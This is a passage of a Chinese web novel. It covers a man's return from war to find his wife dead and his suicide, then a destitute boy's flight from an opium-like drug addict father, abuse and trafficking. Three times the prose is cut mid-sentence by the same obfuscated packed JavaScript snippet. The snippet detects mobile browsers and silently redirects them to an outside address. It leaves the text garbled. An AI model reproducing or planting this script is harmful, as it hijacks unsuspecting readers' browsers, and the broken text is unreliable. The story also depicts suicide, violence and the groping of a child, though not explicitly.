过了几月,秋末气温冷下来。她逐渐丰腴,孩子的存在变得切实可感,摸摸她的肚子仿佛能摸到心跳。 只是随着月份增大,梁风看她越看越奇怪。孕肚就像一颗外附的肉球,一颗寄生在她身上、具备意识、拥有自我喜好的肉球,会在成长过程中吸收她的精气神用来丰富自身。一具肉身,住着两个生命。无法控制地,梁风开始紧张了,这种情绪在胎动时尤其强烈。 金絮却一点也不紧张。明明她因睡不好而愈发憔悴,总有精力在梁风害怕时安慰他,和他一起学习如何养育孩子。 梁风紧张得无法抑制,有时在她身边坐了会儿,胃里就会一阵翻滚引起呕吐。金絮托着沉重的身子还得照顾他。 直到十月孕满,梁风饭后扶她在屋里散步消食,羊水顺着她的裤子往下流。 事先准备好的一切在此刻被疯狂的心跳驱逐,梁风脑子一片空白。他站床边钉死守着她,不管金絮如何要他从产房出去。 漫长的煎熬被催化得愈重,全身绷紧到每一根发丝。 她很痛苦,朝代的更迭都是兵荒马乱、充满血腥的。梁风泪流满面,很怕有些东西的催促,他想给她一个安心的环境。 战争在她的身体内挥刀,有些东西想出去,有些东西要进来,一刀一刀地砍在她身上。梁风试图为她抵挡。 金絮想离开他,梁风说不行。 他说了无数次不行。他很后悔,不应该生小孩。朝代的更迭怎么可能体现在她身上,何况那只是一个小孩。 攻城的呐喊从声嘶力竭变成气若游丝,他掌心中的手逐渐松开,梁风痛不欲生地死拽着她。 空中浮起战败的孤魂,城门响起胜利的号角,哭换来的双眼在迷蒙中睁开,被抽干捣碎的身体重新拼合,金絮睁开一条缝,动了动手指。 他说的不行是有用的,很少的时候,他的话会是有用的。 她说她没事了,梁风崩溃大哭。手掌贴着他的脸,金絮残留的力气收拾他脸上战后的城池。 生产后的头两天,梁风不敢睡觉,守着她,等她慢慢喘过这口气来。 看她恢复了许多,脱离危险,脸上红润了,梁风才大睡一觉。 女儿很可爱,她爱不释手。她给女儿起名叫开妍,和她姓,小名叫然生。 睁开眼,然后生存,她说这是她寄予的厚望。 她逐渐进入养身体的状态,南边却在此时传来动荡。 袁七八成立造反军,竖起旗帜,向朝廷援兵宣战,意图霸占上元郡。 上元郡和附近县城中的大部分百姓逐步往北方避战,更多的人加入袁七八麾下。梁风所在的这座县城每日都出现越来越多的百姓聚众猜议,袁七八与朝廷之间谁的胜算更大。 梁风不再关注外界,动乱波及过来前迟早得逃离这里,而她的身体还没养好。 金絮孕期被压抑下的焦灼在此刻完全爆发,她的情绪彻底崩溃,整日夜地哭喊,激烈时抽打自己,缩在地上以头磕地。 “我知道什么是爱了,我不应该生下她。” 她很痛苦,她后悔了。 梁风紧紧抱着她,任她在怀里嘶喊,只管抱着她。 原本想在这里留到开妍满月的,现下情况只能将计划提前,急需带她远离南方的环境。 短暂的安定后再次启程上路,开妍尚未满月便离开了她的出生地,往后恐怕不会再回来。 远离战火的威胁,她平静了很多,梁风片刻也不敢离开阿絮身边。有时她的手在发抖,有时她很冷静地看着车窗外,更多时候她抱着女儿,说女儿很可爱。 梁风也觉得女儿很可爱,一种不可思议的可爱,毫无杂质得像由世间最纯净的精灵化成。 她对女儿百依百顺,稍有哭闹便尽心哄着。小然生夜里总是隔一个时辰便醒一次,她偷偷抱着女儿下车走远,小然生尖细的哭声便吵不到马车里的人。白天靠在梁风怀里补觉,时日长了,她慢慢变得昼夜颠倒。 梁风强迫她在晚上睡觉,自己夜里带着女儿睡另一辆马车。她十分听他的话,哪怕睡不着也在车里躺着。 往东北面走了两个月,走到树叶开始凋零,看见涛涛洪水,长泽横亘眼前。 若是就此折转,沿着长泽往西边走,走很远很远就能抵达太南。 马车不停歇地路过长泽,她看着家乡的方向,梁风抱着他的家乡。 继续往北,又走了一月,气温下降得厉害。 东北不是浓墨重彩的,秋冬之季是会万物凋零的。离开流放之地,来到苦寒之地,偏远的地方总有与世隔绝的宁静。梁风选了一座小县城,安家落户。 梁风考虑开一家医馆,暗卫中有几人想做李婶的徒弟。 他和阿絮一块陪伴小然生学会翻身,学会走路,学会呀呀说话,澎湃的生命力充满在这柔软脆弱的身躯之中,小然生给这个家带来许多喜气。 金絮却总是走神,魂魄缓慢游离的样子。周身仿佛飘荡着一股气质,总是要梁风唤她一声才会回神。 梁风买来一支笔,送给她,告诉她这是一支新笔,不曾被污染,她可以重新拿起笔写作,写出她想写的所有情绪。 金絮对着笔看了几天,最终拿起了笔。 有事情可干,梁风每日看她纸上书写的样子,边写边谈论。她写的是从前在山中的日子,还有她孕期的感受,一口气写了好多张纸。 梁风能感受到她的爱,在平常的对视与牵手之中,在每一次她的纵容与疼惜之中,总是存在于话没说出口她却能准确感受到的心有灵犀之中。他经常觉得一条正确的路和他擦身而过,试图撼动她的选择,她停了下来,没有继续往前也没有回头。 温馨的浸润下,小然生平安长到两岁,开始有了自己的情绪和想法。 小性子不像阿絮,更不像他,却让他隐隐有种熟悉。他使劲想,才意识到小然生很像小时候的她。 她说有些陌生,已经不太记得了。梁风说,她小时候的样子有他记着呢。她说,他记着的样子也是十一二岁时的了,不算小时候。梁风驳回。 为小然生过完两岁生辰,一个平平无奇的早晨,她和女儿在院子里完小把戏,梁风出门去药铺取些药材食补。 出家门行至半路,巷子尽头隐约露出几个黑衣人,半遮半露,细微的衣角明晃晃地出现在他眼前。梁风走到大街,街上行人忽然不见了,他莫名被无形中的视线包裹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839958|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 没意识到发生了什么,街头缓缓走来一行人马。 通体漆黑的一匹骏马高大无比,牵马的人梁风不认识,清晰看见那人手中一条明黄的卷轴。 离京五年,他再一次感到被包围。 脚下是一条被堵住的路,梁风心跳都要停了。他下意识转身走回家去,反应过来不能把这些人往家引,便折转走向街的另一头。走两步终于回过神来,他的家恐怕已经被包围了。梁风当即往家疯跑。 她站在院子里,抱着女儿,冷眼看着宅子四面包围的人。 梁风冲进包围圈抱住她,他的暗卫在外已全部被控制。 黄澄澄的圣旨递过来,梁风这才发现原来他根本没有逃脱。 才三年,袁七八所带领的造反军剑尖直逼京城,大周皇室岌岌可危。这群人跑死不知多少匹马,只为将向他求援的圣旨递到他手中。 圣旨内容全篇由皇帝亲笔所写,看得出皇帝走投无路。 她仿佛有所预料,轻声道:“逃亡的一生也不可取。” “你希望我怎么做?”梁风问她。 她不说话。 这个选择不应该抛给她,梁风问:“如果天下太平了,你会开心吗?” 她还是沉默,沉默很久却点了点头。 “你想要安稳的家,我无法给你。”金絮抚摸他眼角一点浅浅的皱纹,“你要的不多,但是太多了。” “你能给我。”梁风急得想哭,“你不用一次全给我,每天给我一点就不多了。” 她想留下,不和他一起走。 她笑道:“走吧,决定了就去干,我知道你的决心。” 想给她和平,想给她安稳,想令她对这个世间充满希望,想令她知道开妍的将来会是一片坦途。梁风想给她很多,然而很多东西他给不了。 跨上楚通牵来的那匹马,梁风走向大周仅剩的残部,而她留在原地目送。 他再次被推着走了,回到他曾拼命想逃离的地方。 大周残部守着京城最后一点土地,皇帝坚持留在宫中不曾逃离,对梁风抱有最后一点希望。如果无力回天,皇帝愿意陪同自己的王朝走向末路。 一个多月,京城外兵甲森森。 梁风竟远远望见一个熟人。 他认出熟人骑着的马,是荆风。 与義不会背叛自己的父亲。 梁风不入营,与義迎来,说前线在战,由太子领兵。作战地点就在二十里之外,太子监守四个月,摇摇欲坠,袁七八已经如此逼近京城。 与義想送给他铠甲和战刀,梁风不接。与義告诉他,袁七八麾下其中一名大将是崔敬先。 敬先。 梁风脑海中浮现一张五年前的脸,崔家竟然加入袁军。这么一想,崔固本也不会再为皇帝领兵。 与義说,原本造反军不止袁七八一军。一年前,西北至南至少起了三方成势的造反军,互相牵制达成平衡。直到崔家脱离京城,投奔袁七八,袁军就此崛起,一举成为足以和京城相抗衡的军队。 他想要的是和平,打仗带不来和平。 如果他满足皇帝最后一点希望,那就得和敬先成为敌人。皇帝的希望有必要满足吗?前线距离京城只有二十里,大势已然如此,他又能做什么? “皇叔,你决定好了吗?”与義问他。 梁风摇头。 他握刀的手在发抖,战刀如此沉重,他拎不动。 他根本不知道他该站在哪一边。 站哪边。这是个从他小时候起被问到现在的话。 站哪边。 金絮答不上来,他也答不上来。 梁风退缩了,他想回去找她。 虽然承受了无数次战争,但这个世间太过脆弱。他只能做一个平民,当不了将军。 前半生走过的境遇不想再走一次。战争不会带来和平,可是战争之后一定会有和平。和平是她想要的。 她想要,但她从未勉强他去做不愿意做的事情。 他想给她想要的,她想要的给不了她。 如果周围的人和世间都让她无力,她还愿不愿意再陪着他。 梁风扔了圣旨,独自骑马回家。 回了头才后悔不应该离开,不在她身边不知她会做出什么事情。 他跑得很快,山林平原飞速掠向身后。不认路,但是走通了。 穿过东北一座高山,忽然听见什么声音,他在山下丛林抬头往高处看,远远看见山腰的悬崖落下一个红色长条的东西。 他细看,认出来是个人。有人从山崖往下掉。 那张脸陡然放大,梁风认出来,那是曾经温柔馆的花魁丽姬。丽姬从崖上落下,四肢像是试图抓住天空,红衣猎猎飞舞,飘散的头发包裹了一整张面容。 他一眨眼,丽姬又不见了。 空中传来一声巨响,好像震耳欲聋,好像什么也没听见。 梁风跑得更快,一个多月的路程缩短为半个月。 回到寂静的小县城,一切和他走前没有不同。 李晟佝偻的身躯坐在院中一言不发,梁风眼中别无所有。 看见躺在床上的她,几只苍蝇围着她的脸庞飞翔停留,白蛆从她鼻中钻出,青色的皮肤上有着几颗斑点。 这颗心,一辈子没有安定过,在这一刻忽然定了。 巨大的痛苦剥夺大脑,他的眼前和意识一片空白。 曾经与他作战的战刀重新回到他的手中,这次他握紧了,梁风一刀斩断这毫无可取之处的人生。 224. 童扇(一) 母亲在殴打父亲。 烛光投射下,墙上的影子极为庞大。 又一次被发现了。他从门缝中偷窥。 父亲吸烟时一定要躲着母亲的,今日没躲过。 影子的动作,男人沉浸在绿鸦膏带来的无忧无虑之中,女人发了疯般地往男人身上殴打。父亲的影子脸上带笑,仿佛那些拳脚能加深精神上的愉悦。 击打声原始并血腥,伴随残留的淡淡甜香。他透过门缝闻见烟气,轻忽柔软,他屏住呼吸,不想闻见家中这为数不多的美好味道。 殴打结束,第二段是母亲的哭声。 哭声一拳一拳砸在他的脸上,仿佛刚才被打的是她自己。他走出去,抱住母亲。母亲说他不是一个没有被污染的孩子。 烟散了,愉悦过去,父亲醒了,需要更激烈的东西代替绿烟。 巴掌、腿脚、拳头、能扔的东西,比她的殴打更为猛烈地反击在她身上。他想化作一面墙,抵抗所有攻击,然而他被一巴掌扇碎了。 他的家人除了互相殴打外,平日总是不说一句话。他和父亲之间除了殴打外,也总是不说一句话。 母亲藏起家中所有财物。父亲打他,逼他说出藏在哪里。他被打得歪头跛脚,母亲也不拿出一枚铜板。 母亲带他进山,收割草药、藤果,与市集的姑姑婆婆换来碎布。母亲教他缝制布包、桌垫、屁股垫、假书,缝合好了再拿去市集卖掉。 母亲会写名字。他学得不好。每次从市集赚来的钱,母亲会给他两枚铜板,由他决定要不要施舍给父亲。 他十岁时懂得做饭,母亲离开了家。 他拉住母亲的手,希望她能带自己走。母亲抽离了手,他留在原地,因为他并不是一个没有被污染的孩子。 女人的背影远去,没有回头。他回了头,看见蹲在炕头的父亲看着他。 父亲低下头,用小刀将手中竹管烧得漆黑的一头割掉,塞进新的绿烟碎末,点燃,舔着竹管深吸一口,湿润糜烂的嘴唇往前撅,尽力含着。 包裹绿鸦膏的是竹片,竹片烫弯卷成小指粗的管,一头塞进绿鸦膏,点燃时从另一头吸,完全燃烧后雪白的烟气和甜香味就会散发出来。彻底烧尽的绿鸦膏剩下的是鸦黑色的浆状物,粘连性极强,冷下来会将竹管的口完全封堵,再吸需要割掉被封住的一截竹管。 浓浓的一口完全咽下肚,父亲咧开嘴,烂黄的牙齿稀碎恶臭,嘴唇血肉糜糜,散发一股清甜的香味。 他的家乡是绿鸦膏的种植地,种出来是卖给别人吸的,不是自己吸的。 父亲翻箱倒柜,连买竹片的钱都找不出,家中米缸空了。 他收集父亲割下来的每一截竹管,刮下绿鸦膏烧尽后的残留物,放到锅中加水煮开,煮成一锅极香的黑色浆水。他用树枝沾一点浆水,涂在布头边缘上,每块布头粘连到一起,变成一大张。 他缝好的布头卖不出去,绿鸦膏粘成的布垫没有缝,而且很香,卖得很好。 他用赚来的铜板煮了稀粥,灌进父亲嘴里。他太用力钳着男人的嘴,钳得嘴唇碎块往下掉落。 母亲离开的半年后,绿鸦膏的种植田越来越少,这个家乡的人也越来越少。掌管田地的几个老爷都走了。 他常远望荒下来的田地,找到还没走的老爷,祈求分一块田给他。 老爷没说话,摸摸他的头顶,摸摸他的脸,掐他的肉,摸他的脖子和胸口。 外面马上乱了,越国要打起来了,老爷问他愿不愿意跟着一块走。他说不愿意。 父亲翻了整个家,翻出藏起来的钱。买了一块红盖头盖在他的头上,将他推上花轿。 花轿直接往城外走,他在盖头底下看着自己的一双手,指甲缝塞了一点绿鸦膏残末,黑漆漆的。 他扯下红盖头,看见自己远离家乡。仔细闻空中,鼻子里没有味道。 他经常感到很饿。车子像个笼子,他没有办法自己弄东西换钱或是做吃的。 车子终于停下,他被人带去一座暂住的地方。老爷开心,送来一桌吃的。他吃了一桌子。 躺在床上,老爷摸他的头,摸他的脸,摸他的脖子和嘴唇,摸到他撒尿的东西,老爷扇了他一巴掌。老爷不吸烟,没有烂掉的嘴的气味和父亲一样。 老爷很生气,丢下他。他第一次在街上过了一夜。 他记住老爷消失的方向,他知道老爷要去哪里,他也要去,老爷说京城是个好地方。 他偷钱买了粮食,追随老爷的车去好的地方。 他不知道怎么去好地方,只知道沿着道路走。母亲教过他辨认长在山里的草,能吃的,不至于饿死。 路上有人,他遇到人便问京城哪里走?有的顺路的人会捎他一段,给他不要的衣裳,他和平地渡过冬天。和别人一起赶路时,他的方向是正确的;和顺路的人分开时,他有了行李。 遇到的人越来越多,每个人都说越国坏了,开始打小城,南方乱了,不能待了。走了很久,总有人这么说。走了一年,还有人这么说。走了一年了,他居然还没有离开南方。 北方那么远吗?好地方那么远吗?母亲走了这么远的路,去到了好地方了吗? 他被偷了行李。他把路走得更快,只想快点去到好地方。 避战的人越来越多,他到处问方向,每一个回答他的人说京城也不是好地方。可他没有别的目标,眼瞎地跟着避战的人群走。 走到了一座非常大的城镇,周围人都说这是京城的大门,他想这就是京城了,他终于走到了。 可是不能进城,需要给守城的人一张写了字的纸,他没有,他进不去。 冬天来了。他不知道该怎么渡过这个冬天,北方太冷了。别人说这里叫太南,离京城只有一步之遥,可他渡不过这个冬天。 他找不到零工,他说他不是女子,不招用他的人仍然觉得他太脏太瘦弱。 他和城墙根的乞丐成为一个互斗的团体,大家窝在一起取暖,捡别人不要的东西吃。 日头暖的时候,他去城郊的山里捡东西,捡了一堆却连一块干净点的吃的都换不来。这里的人看不上。他想换些不要的东西就好,这里的人不要的东西都非常贵。 让他欣喜的是,他发现北方人完全不知道绿鸦膏这个东西。他知道这个词,叫天外来物,绿鸦膏在这里是天外来物。 这里没有被污染,他决定在这里住下去,他要想办法进到城里,他要成为北方的人。 他的身体一边发抖一边充满干劲。冷得受不了,他就在郊外往返跑步暖身子。冬天有吃的,很多老爷会给乞丐施粥。他有时能喝两碗,因为他是女子,老爷们都是好心人。 他渡过了这个冬天,平安地。 找不到工。 找不到工。 雪化了,粥没了,他要饿死了。他熬过寒冬,即将死在初春。 活了十三年,他想,差不多了,可以死。 进不了城,进去了也没有住的地方,可以死。 他远离乞丐们的家,爬到没有人的地方,贴着墙根躺在地上睡觉。 他离大地最近,比全世间的人都近,仿佛听见大地在马蹄下的震颤。他饿得意识模糊,慢慢感觉不到饿,他准备睡一觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839959|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一只手,钳住他的下巴,温热的水流冲进他的嘴里。 他忽然变成父亲,他的嘴巴也要被钳碎了。 他睁眼,各种各样的色彩出现在他眼里。乞丐总是低着头,他看见的都是大地色的。 一个小女孩蹲在他面前给他喂水喝,把他救了。 他伸长脖子,使劲含住壶嘴,像父亲含着竹管那样使劲吸。 几口下肚,他有了力气,攀住水壶,用力猛吸。 小女孩摸摸他的头,他看过去,看见一张干干净净的脸,他忘了吸。 她会笑,她起身跑走了,跑到一辆马车边说着什么。车里钻出一个人,给她一个盒子。她抱了盒子,又夺了车里人手上的东西,跑回来。 他当然不是女子,女子都是这么好看的,他当然不是女子。 哐当! 盒子摆在他面前,推给他。她又跑回马车了。 车子很快走远,他护住盒子打开来看,里面是一堆看起来就很贵的东西。盒子外是一根长条的东西,是在老爷们手中见过的扇子。 她留下的东西都是金色的,比太阳还刺眼。 他有很多东西了,盒子、扇子、还有水壶,他不再是乞丐,他能成为老爷,他要进城找她,向她表示感激。 他将扇子和水壶挂在衣服里面,盒子藏不住,他两手抱着盒子去一家馄饨店,买了一碗馄饨吃,在店里吃,坐下吃。他用盒子里一粒金色的珠子换了这碗馄饨。 吃完了,他走出馄饨店,一个黑色的麻袋罩住他,一棍子把他打翻在地。麻袋外面凶狠的手抢他的盒子,他死抓不放,又一棍子打来,他晕了。 他被大地的震撼叫醒,他爬出麻袋,外面没有人,他的头流着血,浑身很冷。他还有藏在衣服里面的扇子和水壶。 军队追上来。马蹄踩得大地晃动。 城外士兵开始清场,驱逐所有流民。他也被驱赶了,他藏在城郊的树林之中,看见更远的平原之上树立着森森兵甲。 他围观攻城,头上干了的血迹让他像一个伤兵。城门被控制,无论如何进不去,他转向另一扇城门。 大批的人从城内逃出,带着大量行李。他与人群逆行,不顾一切冲进去,想找到她,提醒她赶快逃跑。 他冲进去了! 他胡乱瞎跑,很快迷路。他往大街上乱撞,老爷都是富人,富人只走大街,她肯定是老爷的女儿。 一辆马车飞快跑过,他认出车上的标志,立即使出全力追赶。 追到一座大宅院,他不敢靠近,贴着墙角偷偷看。 她的家在收拾行李。 大宅院门前停着一辆更大更漂亮的马车,车旁的人都是抱刀站着。门里的人不断拿着各种东西往车上放,她缩在应当是她母亲的人怀里。 她家里的人已经知道要逃跑了。 又大又放满东西的马车匆匆跑过,他听见他们要去的地方是京城。 这里是京城的大门,这里不是京城。 马车消失,他跑进被放弃的大宅院,带不走的东西留下了很多。 这是第一次见到老爷小姐们的家,原来是这个样子,每一个被抛弃的东西都是他这样的人一辈子求不来的。 他寻找可以带走的小东西,他看见断掉的弓、写满字的书、漂亮的衣裳,最后拿走一个布包,撕碎一件衣服,衣服装进布包带走。 很多的人都进来这座宅子,像他一样搜刮。这座宅子很快就会变得和他一样。 他混入人群往城外逃亡,人群引领他的方向。 他要去真正的京城,他要找她。 225. 童扇(二) 她叫什么名字? 当时听见有人喊她,叫嘘。 她叫嘘。 已经追不上她的脚步,看不见她的马车影子。他用水壶跟别人换粮食,兴奋地一路走到京城。 京城很大,城门比太南还大,高高的像是顶天立地,撑着天空。难怪听见的声音都说京城好。真的好。 他尝试进去,被拦住了。他身上有东西,不能和别的乞丐一起乞讨。 他拿出布包中的一片碎布,求守门的人放他进去。 守门的人说这是金线,拿走整个布包,放了他进去。 衣服是金线。她的衣服都是金子做的。她是金子。 顺利进城了。 他扯下扇子吊坠缠着的金线,用这根金线在客栈洗了澡、换了身衣服、梳了头发、吃了顿粥饭。他要学习官话,要干干净净地去找她。 京城很大,太大了。为什么会有这么大的地方。他挨个询问大街两旁所有的大宅院,有没有叫嘘的姑娘。没有,都没有。 他找了很久,始终没有找到。官话听懂一点,京城却先被攻破了。 城门爆炸,战马冲进来,挥刀的士兵扫荡每一条街。扫荡过后的街道鲜血成河。他躲避喷射的血液,害怕地寻找她。 他趁乱偷东西维持生计,只偷吃的,不敢偷贵的。他看见摧毁一切的马群在人的骑控下冲进一座宏大的城门。他知道那是皇宫,是皇城。 他不知道皇帝住的地方出现战斗的兵马意味着什么,他只知道这很不好。原本多吃点东西就能变得强壮,他就能找到一份工,就能在京城落下脚来。而现在,京城都乱了,家家难保自己,怎可能需要招工。他又得去捡别人不要的东西吃。 下大雨,这一天还没过去,天空很黑,他捡到了几个包子和半张面饼蹲在街角吃,噎着了喝雨水。 又一匹战马跑入京城,这是单枪匹马的一人,冒雨跑得很快很着急。他和街边其他人一样尽量往后靠,避免被撞到。 他牢牢看着漆黑的马和马上穿着铠甲的人,这是他第一次这么认真地瞧见打仗的士兵。长长的街道由着士兵横冲直撞,那士兵比他大不了多少,脸上竟也有种家园被毁灭的不甘神情,往前冲的势头像是不顾一切想要挽回些什么。 挽回些什么呢?不要母亲离开吗?他吃完包子,抱团躺在遮蔽雨水的屋檐下睡觉。睡醒后天光大亮,雨水没了,京城被毁坏的这一天终于过去。 他继续找她,一边找一边努力让自己活着。实在找不到食物的时候,先饿一天,饿一天还找不到吃的,他就打开扇子,刮下一丁点金粉,用打湿的树叶沾着,拿这片金叶子去换吃的。 幸好,扇子两面都用金粉画了花朵。 他每日许下一愿:明天能捡到干净些的食物。 过了不知多久,他不对日子计数,曾被战马冲进去的皇宫突然放出话来,说新帝登基,重整民生。 他不懂什么意思,但周围的人都说好。他只知道,皇宫是皇帝住的地方,他刚刚来到这里不久,皇帝换了一个。这话,是这一个皇帝说的。 金粉被他越用越快,偶尔吃到新做的、干净的、热腾腾的饭食,他逐渐难以忍受捡来的东西,半个扇子被他刮干净了。冬天来临,他为了买衣裳,开始刮另一面金粉。 今年冬天没有施粥的老爷。他想,可以用一点金粉换一份工做。有了份零工,他就不是乞丐了。 整个春天,他想办法找工做,总有人不相信他手中的金粉是金子。他拿去当铺也只能换来两顿饭的铜板。 他失去信心,却在春季还未结束时终于再次见到她。 路过一家大宅院,她短暂地出来了,目送一辆马车。她身旁的女人是他在太南见过应当是她母亲的人。 他向路人打听这家大宅院是什么人,路人说是丞相府,是皇帝身边的大官,是一人之下万人之上,是几乎和皇帝平起平坐的家。 终于意识到她是一个怎样的人,他茫然地站在街上。很快被惊喜淹没,他替她感到开心。这么厉害的家,她一辈子不会过上他这样的日子。 他不去捡东西了,整日蹲在她家门口的街角,盼望偶尔再看她一眼。时日长了,她家里出出入入的人居然会给他扔钱两。 他惊喜万分,更加蹲在街角不走了。他可以多吃干净东西了,她家里都是好人。 然而没再遇见她。过了不知多久,忽然出现一群士兵将她的家包围了。他被驱赶出整条街外,这条街的百姓都被赶走了。 他冲不进去,不能知道发生了什么。夜深的时候,她家上方的天空出现明亮的红光,那是火焰。 她家着火了。 巨大的火焰照亮这一夜的天空,他大叫一声,喊救火,往前冲,被士兵拦下。 他在包围圈外围寻找机会,居然在隐入黑夜的屋顶上看见一个同样在寻找机会的黑影人。 他躲起来观察,那人似乎也想冲进包围圈不被抓到。不知道是什么人,但他心一横,再次大喊着往里冲。士兵立即围了过来。他不顾阻拦他的手和刀器,只凶狠地往里冲。 他的动静太大,吸引了附近全部的士兵,包围圈出现一个缺口。那个黑影快速地溜进去,往她家的方向跑。 他冷静下来,不冲了。他被士兵打了一巴掌,他捂着脸退开。在不被人看见的地方,他围绕士兵的圈子走来走去,等待那个黑影一样的人出来。 后半夜,火光依然强烈,汹涌的热气向外覆盖好几条街。没有百姓,那群士兵忍着高温坚持把守。他终于在冲天的火光中再次看见黑影从屋檐上飞过。 他找准黑影落入的院子,绕到院子后面没有守卫的地方爬了进去。 黑影不在了,却在柴火堆中见到正在睡觉的她。 那个黑影果然在救人。但为什么把她藏在这里。他扒开柴火想把她拖出来,却在这时有人从天而降。 他吓了一跳,不动了。 从屋顶跳下来的人警惕地看了他一眼,用手中的大衣服包住她抱起来。 这个人他见过。是那天在街头吃包子时从街上飞奔而过的士兵,那士兵脸上的神情他记得很清楚。这就是刚才抱她出来的黑影。 这个人想带她走,说认识她,说让他不要把今天见到她的事情说出去。他定在原地不知道该怎么办。他想他抱不起来她。这个男人的官话他听得懂一部分。 男人拽了一下衣服,递了个东西给他。是条带子,上面有黑得很透亮的石头,他接了。男人要走了,他抓住包着她的衣服一角,问这个男人会不会欺负她。 男人似乎没听太懂,片刻才点了头。 男人跳上屋顶走了。 他快速地爬出院子,又跑出去吸引守卫的士兵,让男人可以带着她顺利逃脱。 这是第二次。他被抓起来了。他被士兵抓走,在一个漆黑的屋子里关了几天。 他的东西都被没收,他把黑石头含在嘴里,他的扇子被看守他的人刮去了所有的金粉,只剩下一把光秃秃的扇子。 出来后,他回到她的家。 她的家外已经没了守卫,家门大开,他随意走了进去。 这就是富人住的砖瓦房。而且精砖,刷了漆的精砖。 虽然满是焦黑,但还能大致看出轮廓,还结实,清理一下能住一堆流浪汉和乞丐。不像他故乡的茅草屋,烧了之后风吹一夜,什么都没了。 她以后还能回来看看。这就是好的。因为不像他。 他四处打听,问了很多人,问到那天发生的事。他想知道那天晚上救走她的人是谁。 一场大火令她家破人亡。她的父亲是上一个皇帝的,这一个皇帝不喜欢她的父亲。她的父亲也不被喜欢。 那个年纪比他大的男人救了她。那个男人原来不是士兵,是个将军。还是个王爷,叫应和王。 他找到应和王的住处,成为王府外面常驻的一个乞丐。 他很想和她说说话,很想知道她为什么会遭遇这些事情,他以为颠沛流离只存在与他这种人的人生之中。 王府外一蹲蹲了大半年。 王府里都是好人,总是给他吃的,给他衣裳穿,甚至会将食物放在一个干干净净的盒子里递给他,这是从未有过的。 他快习惯成为王府的乞丐。战乱平息后,做官的人清点京城的人口,他竟然得到京城的户籍。吃得好了,他可以拿到一份零工了。 所有事情都随着这一个皇帝的到来而慢慢变好,直到一个清早,他发现她从王府逃了出去。 难道那个将军对她不好?他拔腿跟上。 她一路跑到城门口,出了城,她疯狂往前跑,仿佛对前方的目标坚定不移。他牢牢跟着她。 跑了半天,身后有出征的军队追上,她急忙躲去草丛里藏起来。 他看见军队的最前方,高大的黑马上,坐着的就是救了她的将军。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839960|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他学着她,一样躲起来。 庞大的军队走过,空气里的铁器味残留了很久。 她继续往前走,这次放慢了速度,似乎她有意与军队错开。 走了一天,她饿了,向路过的行人讨要食物。 她做这样的事情很自然,可她不是他这样的人。 在她再一次向别人讨要食物,他将偷来的面饼递给了她。 她接了,咬了一口,说谢谢哥哥。 哥哥? 他看着她,她在说完谢谢后眼泛泪水,不知想到了什么,低下头去。 她的目的地是太南,她说那是她的家乡。 原来她想回去。他想陪同,她拒绝了。她只收下了面饼,拒绝了他。恐怕是他的脸还不足以消灭她的害怕。 他偷偷地跟在她身后。跟着她回到她在太南的家中。 这座城变得很烂,完全不是他刚刚来到时的样子,那时这座城很漂亮,因她而漂亮。 她回到家了。他没有家,他改变成为她家附近的乞丐。 她家中好像还有一人。除了她外,还有一个活人,和一个似乎受了很重伤的人。他常常看见她将一盆一盆的血水泼出来。 恐怕是因为那个受伤的人导致她很需要钱,她做了各种东西给那个活着的人拿去卖,可是没用。 他下定决心,他要找份工干,赚钱给她。 他将那颗黑石头扔在她家门口,亲眼看着她捡了,放心地去找工干。 他找到长泽河边为货船卸货的活,充满热情地开始干。 结果没有工钱。 工钱是两顿饭。 他想少吃一顿饭,换几枚铜板。管事的不搭理他。 饭是大锅饭,每人一份,一个巴掌大的碗,他甚至分不出任何一点多的东西给她。 他不干了,管事的找人把他打了回来。 每日卸货将近六个时辰,累到四肢散架,头脑发昏,散工结束后什么也不愿意想。他半夜拖着身体去她家门口,想看看她。她很少出门,不知在躲什么。 他很难见到她。 搬运可以锻炼身体,他很快发现自己力气大了,只要想办法从这里逃出去,肯定能找到更好的一份工! 干到来年春季,他的身体比过去更抗饿了,但是没有更健康,但是力气更大了,但是因为常常吃不饱力气使不上来。 开春后第一批货船的货物卸完,管事的破例发了工钱。一人五钱,每个零工都有。他兴奋得要死,晚上散工后捧着钱飞奔去找她。 然而她家里却空了。大门是开着的。 他推门闯进去。门里最近的一座屋子,里面只躺着一个断了腿的人,快死了。 她不在。她家里应该还有一个人,也不在。 他坐在门外等了一夜,她没有回来。 他不再做工,跑了。 他在城内漫无目的地找她,找不到。他又开始翻不要的东西吃,他身上只有五枚铜板。直到两眼一黑晕了过去。 他被人卖了。 他被卖回京城。 他被卖去青楼,他被交到一个鸨母手中。 